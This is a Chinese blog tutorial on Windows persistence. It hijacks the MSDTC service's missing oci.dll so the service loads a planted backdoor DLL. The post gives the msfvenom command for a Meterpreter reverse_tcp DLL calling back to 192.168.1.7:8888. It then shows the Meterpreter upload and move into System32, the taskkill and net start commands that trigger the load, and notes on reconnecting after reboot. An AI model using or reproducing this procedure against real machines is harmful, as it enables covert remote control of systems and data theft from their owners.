权限维持篇-msdtc后门

释放双眼,带上耳机,听听看~!

msdtc介绍

1、msdtc.exe是微软分布式传输协调程序。该进程调用系统Microsoft Personal Web Server和Microsoft SQL Server。该服务用于管理多个服务器。

2、msdtc.exe是一个并列事务,是分布于两个以上的数据库,消息队列,文件系统或其他事务保护资源管理器,删除要小心。

3、存在于组环境和域环境中。

4、进程文件: msdtc 或者 msdtc.exe。

5、进程名称: Distributed Transaction Coordinator

6、msdtc依赖RPC,RPC使用的端口为135。

msdtc后门利用

利用条件

目标机器处于域环境或组环境中,并且开启msdtc服务。

存在域:

服务开启:

利用原理

当Windows操作系统启动Microsoft分布式事务处理协调器(MSDTC)服务时,攻击便开始了,该服务可协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。当目标计算机加入域时,MSDTC服务启动,它将搜索注册表如下位置:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

MSDTC服务中的MTxOCI组件搜索三个DLL:oci.dll,SQLLib80.dll和xa80.dll。Windows系统默认不包含oci.dll。

我们将后门dll将其重命名为oci.dll,并将其放置在%SystemRoot%\system32\中。oci.dll就绪,使用命令关闭MSDTC服务,从而导致MSDTC重新加载。但是,这一次它将查找并找到oci.dll。

进行利用

生成dll木马:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > oci.dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > oci.dll

这里有个坑点,64位的系统只支持64位的oci.dll加载,一开始实验的时候,我使用的是32位的dll,所以一直加载失败。

在目标机器的system32文件下查看,确实没有存在oci.dll

我们将刚才生成的msf生成的oci.dll上传到目标机器的C:\Windows\System32目录下。

在meterpreter中执行

upload oci.dll C:\\Windows
shell
C:\Windows>move oci.dll c:\Windows\System32

meterpreter无法将文件直接上传到system32文件下,所以先上传到windows目录下,再启用shell,利用move命令完成操作。

使用命令关闭msdtc进程

taskkill /f /im msdtc.exe

如果mstdc服务没有自动重启,我们可以利用命令进行重启

net start msdtc

执行完毕之后,我们就会得到一个meterpretershell,但是有个问题,我们当前用户的所有者是NT AUTHORITY\NETWORK SERVICE

为了获得system权限,可采用降权启动,使用命令:

msdtc -install

效果图:

详细理解降权启动文章:渗透技巧——程序的降权启动

总结

目标机器重启,当再次登录本地用户或者域用户时(只要确保机器有域环境或组环境即可),木马都会进行重连。但是权限却不是system权限,而是NT AUTHORITY\NETWORK SERVICE。虽然我们可以修改服务的启动者(无法修改为system启动),但是效果并不是很好,权限并不高。

 

相关文章

人已赞赏
安全教程

权限维持篇-粘滞键后门应用

2020-3-26 2:19:33

安全教程

了解CDN

2020-3-26 22:25:09

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
有新消息 消息中心
搜索